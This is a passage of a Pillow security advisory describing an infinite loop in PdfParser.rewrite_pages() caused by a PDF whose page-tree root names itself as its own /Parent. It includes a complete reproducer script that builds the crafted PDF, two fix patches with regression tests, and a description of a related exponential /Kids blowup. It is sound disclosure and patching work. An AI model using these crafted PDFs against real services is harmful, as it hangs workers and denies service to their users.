append=True` on a user-supplied document \u2014 hangs indefinitely with one CPU core pinned, on an input of a few hundred bytes. The loop is pure Python doing two dict lookups per iteration, so memory stays flat and memory limits do not end it; only an external watchdog does. In a web worker or batch converter that is a denial of service of that worker per request. The attacker needs to control only the bytes of the existing PDF; no non-default Pillow setting is involved beyond the application choosing the append path. Pillow does not open PDFs for reading, so plain `Image.open()` pipelines are not affected.\n\nThis is a sibling of CVE-2026-42310 (infinite loop on a cyclic trailer `/Prev` chain in the same parser, same entry point): same class, different linked structure, and the guard added for that CVE does not cover it.\n\n## Reproducing\n\n`repro` is a single Python script that runs against the installed Pillow (`/src/src/PIL`). It needs no build step and no companion files, and takes about 5 seconds.\n\nThe script builds two one-page PDFs in memory with `make_pdf()`. Each has a Catalog (object 1), a `/Pages` root (object 2) and a `/Page` (object 3), and each has a correct xref table. The only difference between them is in object 2:\n\n- `control` has `\u003c\u003c/Type /Pages /Kids [3 0 R] /Count 1\u003e\u003e`. This is a normal file.\n- `cyclic` has `\u003c\u003c/Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R\u003e\u003e`, so the page-tree root names itself as its own `/Parent`. This is the 333-byte file shown above.\n\nFor each PDF the script prints the bytes and then calls `Image.new(\"RGB\", (4, 4)).save(io.BytesIO(pdf), \"PDF\", append=True)` under a 5-second `SIGALRM` watchdog. If the watchdog fires, the script prints the Pillow frames the append was running in. The control runs first and has to finish. If it doesn\u0027t, the environment is broken, so the script prints `OK` without giving a verdict.\n\nExpected output on this commit (PDF dumps omitted):\n\n```\n[control] append finished in 0.045s\n[cyclic] still running after 5s, interrupted in:\n    save()  /src/src/PIL/Image.py:2724  save_handler(self, fp, filename)\n    _save()  /src/src/PIL/PdfImagePlugin.py:263  existing_pdf.write_catalog()\n    write_catalog()  /src/src/PIL/PdfParser.py:473  self.rewrite_pages()\n    rewrite_pages()  /src/src/PIL/PdfParser.py:506  pages_tree_node = self.cached_objects[pages_tree_node_ref]\n    ...\nBUG\n```\n\nThe innermost one or two frames change from run to run, because the alarm can land anywhere in the loop body at lines 505\u2013509. The `rewrite_pages()` frame is always there. The control\u0027s timing shows that the same file without the self-reference is appended to in milliseconds. A fixed parser either finishes the cyclic append just as fast or rejects the file with an exception. In both cases the script prints `OK`. With attached patch 1 applied it prints `[cyclic] append finished in 0.001s` and `OK`. With attached patch 2 it prints `[cyclic] raised PdfFormatError: page tree loop found` and `OK`. The last line is `BUG` only when the cyclic append is still running when the watchdog fires.\n\n## Suggested fix\n\nBoth attached patches fix the root cause, which is that the `/Parent` walk in `rewrite_pages()` keeps no record of the nodes it has visited. Either one can be merged; they differ only in what happens to a malformed file.\n\n**Attached patch 1** (tolerant; our preference) adds one `processed_pages_tree_nodes` set that is shared across all pages in the delete loop, and breaks out of the `while` as soon as it reaches a node it has already seen:\n\n```python\n# src/PIL/PdfParser.py, rewrite_pages()\n        processed_pages_tree_nodes: set[IndirectReference] = set()\n        for pages_tree_node_ref in pages_tree_nodes_to_delete:\n            while pages_tree_node_ref:\n                if pages_tree_node_ref in processed_pages_tree_nodes:\n                    break\n                processed_pages_tree_nodes.add(pages_tree_node_ref)\n                \u2026\n```\n\nBreaking loses nothing, because a visited node has already been removed from the xref table. The output is the same as today for every file that terminates. The file above is appended to normally, and object 2 ends up deleted. As a side effect, the ancestor chain that every page shares is walked once in total rather than once per page.\n\n**Attached patch 2** (strict) follows the `read_prev_trailer()` guard from the CVE-2026-42310 fix. It keeps a `processed_pages_tree_nodes` list for each page and calls `check_format_condition(pages_tree_node_ref not in processed_pages_tree_nodes, \"page tree loop found\")`, so a cyclic file is rejected with `PdfFormatError`. The list is per page because ancestors are legitimately shared between the pages of a well-formed document. Note that the error is raised from `write_catalog()`. By then the new page objects have already been written to the `r+b` file, but the new xref/trailer has not. Any other error raised on the append path today leaves the file in the same partially written state.\n\nEach patch also adds a `test_page_tree_parent_loop` regression test to `Tests/test_pdfparser.py`. The test builds the self-parented PDF above in memory, so no binary test asset is needed. No other `/Parent` walk exists in the parser, and `linearize_page_tree()` does not follow `/Parent`.\n\nNote that this walk follows `/Parent` links, which nothing else in `PdfParser` reads: `linearize_page_tree()` only follows `/Kids` downward and never looks at `/Parent`, so a visited-set added to the `/Kids` recursion (see Related findings) does not reach this loop. The file above has a perfectly tree-shaped `/Kids` structure and still hangs; both walks need their own guard, and they are natural to land together as one \"validate page tree while appending\" change.\n\n## Related findings\n\n- **Exponential page tree expansion in `PdfParser.linearize_page_tree()` (repeated `/Kids` references) hangs PDF append** \u2014 the downward counterpart of this bug in the same parser and on the same `Image.save(..., \"PDF\", append=True)` entry point: `linearize_page_tree()` (`src/PIL/PdfParser.py:1080-1094`) recurses into every `/Kids` entry and re-parses it via `read_indirect()` with no visited set, so a `/Pages` chain whose nodes list the same child N times over D levels costs N\u003csup\u003eD\u003c/sup\u003e object parses (a 1.9 KB, 10-wide \u00d7 12-level file never returns; a 5.8 KB, 300-wide \u00d7 3-level file runs for 13 minutes; a direct `/Kids` cycle ends in `RecursionError`). It differs from this report in the link followed (`/Kids` down vs `/Parent` up), the function and phase (`linearize_page_tree()` during `read_pdf_info()` in the `PdfParser` constructor vs `rewrite_pages()` during `write_catalog()`), the introducing commit (`6207b44ab1ff` vs `24ecfe315ab5`), and the symptom (exponential but finite CPU vs a true infinite loop). It needs a separate hunk: the patches attached here only guard the `/Parent` walk and leave the `/Kids` reproducer hanging in `linearize_page_tree()`, and the `/Kids` guard conversely leaves this reproducer spinning in `rewrite_pages()` \u2014 verified by cross-applying each patch. Applied together (the `/Kids` guard plus attached patch 2), both reproducers are rejected with `PdfFormatError: page tree loop found` and `Tests/test_pdfparser.py` + `Tests/test_file_pdf.py` pass (30 tests).\n\n## The patch (1 of 2)\n\nTrack visited page-tree nodes in PdfParser.rewrite_pages() so a cyclic /Parent chain cannot loop forever when appending to a PDF\n\nApplies to `src/PIL/PdfParser.py` at the commit above.\n\n```diff\ndiff --git a/Tests/test_pdfparser.py b/Tests/test_pdfparser.py\nindex f2ae6b11f..f841aca14 100644\n--- a/Tests/test_pdfparser.py\n+++ b/Tests/test_pdfparser.py\n@@ -169,3 +169,28 @@ def test_duplicate_xref_entry() -\u003e None:\n def test_trailer_loop() -\u003e None:\n     with pytest.raises(PdfFormatError, match=\"trailer loop found\"):\n         PdfParser(\"Tests/images/trailer_loop.pdf\")\n+\n+\n+@pytest.mark.timeout(5)\n+def test_page_tree_parent_loop() -\u003e None:\n+    # the /Pages root names itself as its own /Parent\n+    objects = [\n+        b\"\u003c\u003c/Type /Catalog /Pages 2 0 R\u003e\u003e\",\n+        b\"\u003c\u003c/Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R\u003e\u003e\",\n+        b\"\u003c\u003c/Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]\u003e\u003e\",\n+    ]\n+    b = BytesIO(b\"%PDF-1.4\\n\")\n+    offsets = []\n+    for object_id, body in enumerate(objects, start=1):\n+        offsets.append(b.tell())\n+        b.write(b\"%d 0 obj\\n%s\\nendobj\\n\" % (object_id, body))\n+    xref_offset = b.tell()\n+    b.write(b\"xref\\n0 4\\n0000000000 65535 f \\n\")\n+    b.write(b\"\".join(b\"%010d 00000 n \\n\" % offset for offset in offsets))\n+    b.write(b\"trailer\\n\u003c\u003c/Size 4 /Root 1 0 R\u003e\u003e\\nstartxref\\n%d\\n%%%%EOF\\n\" % xref_offset)\n+\n+    with PdfParser(f=b, mode=\"r+b\") as pdf:\n+        pdf.start_writing()\n+        pdf.write_catalog()\n+        pdf.write_xref_and_trailer()\n+        assert 2 in pdf.xref_table.deleted_entries\ndiff --git a/src/PIL/PdfParser.py b/src/PIL/PdfParser.py\nindex 672557190..9260cd8e7 100644\n--- a/src/PIL/PdfParser.py\n+++ b/src/PIL/PdfParser.py\n@@ -501,8 +501,14 @@ class PdfParser:\n                     # replace the page reference with the new one\n                     self.pages[j] = new_page_ref\n         # delete redundant Pages tree nodes from xref table\n+        processed_pages_tree_nodes: set[IndirectReference] = set()\n         for pages_tree_node_ref in pages_tree_nodes_to_delete:\n             while pages_tree_node_ref:\n+                if pages_tree_node_ref in processed_pages_tree_nodes:\n+                    # ancestors are shared between pages, and a malformed\n+                    # /Parent chain may loop back on itself\n+                    break\n+                processed_pages_tree_nodes.add(pages_tree_node_ref)\n                 pages_tree_node = self.cached_objects[pages_tree_node_ref]\n                 if pages_tree_node_ref.object_id in self.xref_table:\n                     del self.xref_table[pages_tree_node_ref.object_id]\n```\n\n## The patch (2 of 2)\n\nRaise PdfFormatError(\"page tree loop found\") in PdfParser.rewrite_pages() when a page\u0027s /Parent chain loops back on itself\n\nApplies to `src/PIL/PdfParser.py` at the commit above.\n\n```diff\ndiff --git a/Tests/test_pdfparser.py b/Tests/test_pdfparser.py\nindex f2ae6b11f..24faeefbc 100644\n--- a/Tests/test_pdfparser.py\n+++ b/Tests/test_pdfparser.py\n@@ -169,3 +169,27 @@ def test_duplicate_xref_entry() -\u003e None:\n def test_trailer_loop() -\u003e None:\n     with pytest.raises(PdfFormatError, match=\"trailer loop found\"):\n         PdfParser(\"Tests/images/trailer_loop.pdf\")\n+\n+\n+@pytest.mark.timeout(5)\n+def test_page_tree_parent_loop() -\u003e None:\n+    # the /Pages root names itself as its own /Parent\n+    objects = [\n+        b\"\u003c\u003c/Type /Catalog /Pages 2 0 R\u003e\u003e\",\n+        b\"\u003c\u003c/Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R\u003e\u003e\",\n+        b\"\u003c\u003c/Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]\u003e\u003e\",\n+    ]\n+    b = BytesIO(b\"%PDF-1.4\\n\")\n+    offsets = []\n+    for object_id, body in enumerate(objects, start=1):\n+        offsets.append(b.tell())\n+        b.write(b\"%d 0 obj\\n%s\\nendobj\\n\" % (object_id, body))\n+    xref_offset = b.tell()\n+    b.write(b\"xref\\n0 4\\n0000000000 65535 f \\n\")\n+    b.write(b\"\".join(b\"%010d 00000 n \\n\" % offset for offset in offsets))\n+    b.write(b\"trailer\\n\u003c\u003c/Size 4 /Root 1 0 R\u003e\u003e\\nstartxref\\n%d\\n%%%%EOF\\n\" % xref_offset)\n+\n+    with PdfParser(f=b, mode=\"r+b\") as pdf:\n+        pdf.start_writing()\n+        with pytest.raises(PdfFormatError, match=\"page tree loop found\"):\n+            pdf.write_catalog()\ndiff --git a/src/PIL/PdfParser.py b/src/PIL/PdfParser.py\nindex 672557190..9021b8d63 100644\n--- a/src/PIL/PdfParser.py\n+++ b/src/PIL/PdfParser.py\n@@ -502,7 +502,13 @@ class PdfParser:\n                     self.pages[j] = new_page_ref\n         # delete redundant Pages tree nodes from xref table\n         for pages_tree_node_ref in pages_tree_nodes_to_delete:\n+            processed_pages_tree_nodes = []\n             while pages_tree_node_ref:\n+                check_format_condition(\n+                    pages_tree_node_ref not in processed_pages_tree_nodes,\n+                    \"page tree loop found\",\n+                )\n+                processed_pages_tree_nodes.append(pages_tree_node_ref)\n                 pages_tree_node = self.cached_objects[pages_tree_node_ref]\n                 if pages_tree_node_ref.object_id in self.xref_table:\n                     del self.xref_table[pages_tree_node_ref.object_id]\n```\n\n## The reproducer\n\n\u003cdetails\u003e\n\u003csummary\u003eReproducer \u2014 \u003ccode\u003erepro\u003c/code\u003e, 3,152 bytes (click to open)\u003c/summary\u003e\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n\"\"\"Infinite loop in PdfParser.rewrite_pages() on a cyclic /Parent chain.\n\nAppending an image to an existing PDF (im.save(fp, \"PDF\", append=True)) makes\nrewrite_pages() walk each original page\u0027s /Parent chain upward until a node has\nno /Parent.  Nothing records which nodes were visited, so a /Pages node that\nnames itself as its own /Parent keeps the walk going forever.\n\nWe append a 4x4 image to two one-page PDFs that differ in one entry:\n  control - a normal PDF                          -\u003e finishes in milliseconds\n  cyclic  - the /Pages root also says /Parent 2 0 R -\u003e never finishes\nA SIGALRM watchdog interrupts the append and shows the line it was stuck on.\n\"\"\"\nimport io\nimport signal\nimport time\nimport traceback\n\nfrom PIL import Image\n\nWATCHDOG_S = 5\n\n\ndef make_pdf(pages_root):\n    \"\"\"Catalog (1) -\u003e /Pages root (2) -\u003e /Page (3), with a correct xref table.\"\"\"\n    objects = [\n        b\"\u003c\u003c/Type /Catalog /Pages 2 0 R\u003e\u003e\",\n        pages_root,\n        b\"\u003c\u003c/Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]\u003e\u003e\",\n    ]\n    pdf = bytearray(b\"%PDF-1.4\\n\")\n    offsets = []\n    for num, body in enumerate(objects, start=1):\n        offsets.append(len(pdf))\n        pdf += b\"%d 0 obj\\n%s\\nendobj\\n\" % (num, body)\n    xref_offset = len(pdf)\n    pdf += b\"xref\\n0 4\\n0000000000 65535 f \\n\"\n    pdf += b\"\".join(b\"%010d 00000 n \\n\" % off for off in offsets)\n    pdf += b\"trailer\\n\u003c\u003c/Size 4 /Root 1 0 R\u003e\u003e\\nstartxref\\n%d\\n%%%%EOF\\n\" % xref_offset\n    return bytes(pdf)\n\n\nclass StillRunning(BaseException):\n    pass\n\n\ndef on_alarm(signum, frame):\n    raise StillRunning\n\n\ndef append_image(name, pdf):\n    \"\"\"Append an image to `pdf`; return True if it finished before the watchdog.\"\"\"\n    print(f\"--- {name}: {len(pdf)}-byte PDF ---\")\n    print(pdf.decode(\"latin-1\"), end=\"\")\n    signal.alarm(WATCHDOG_S)\n    start = time.monotonic()\n    try:\n        Image.new(\"RGB\", (4, 4)).save(io.BytesIO(pdf), \"PDF\", append=True)\n    except StillRunning as e:\n        print(f\"[{name}] still running after {WATCHDOG_S}s, interrupted in:\")\n        for frame in traceback.extract_tb(e.__traceback__):\n            if \"/PIL/\" in frame.filename:\n                print(f\"    {frame.name}()  {frame.filename}:{frame.lineno}  {frame.line}\")\n        return False\n    except Exception as e:  # rejecting the file is a correct, safe outcome\n        print(f\"[{name}] raised {type(e).__name__}: {e}\")\n        return True\n    finally:\n        signal.alarm(0)\n    print(f\"[{name}] append finished in {time.monotonic() - start:.3f}s\")\n    return True\n\n\nsignal.signal(signal.SIGALRM, on_alarm)\n\n# Set up: the well-formed file is appended to instantly.\ncontrol = make_pdf(b\"\u003c\u003c/Type /Pages /Kids [3 0 R] /Count 1\u003e\u003e\")\nif not append_image(\"control\", control):\n    print(\"control case did not finish; environment problem, no verdict\")\n    print(\"OK\")\n    raise SystemExit\n\n# Attack: the same file, except the /Pages root is its own /Parent.\ncyclic = make_pdf(b\"\u003c\u003c/Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R\u003e\u003e\")\nfinished = append_image(\"cyclic\", cyclic)\n\n# Verify: a fixed parser finishes (or rejects the file) like the control.\nprint(\"BUG\" if not finished else \"OK\")\n```\n\u003c/details\u003e\n\n---",
  "id": "GHSA-f2g6-542v-9j58",
  "modified": "2026-10-21T21:21:07Z",
  "published": "2026-10-21T21:21:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-f2g6-542v-9j58"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112406"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/commit/b3ebf20c694f2f12537a629c30229a1d5a53f777"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/python-pillow/Pillow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Pillow: Infinite loop in PdfParser.rewrite_pages on page tree Parent cycle"
}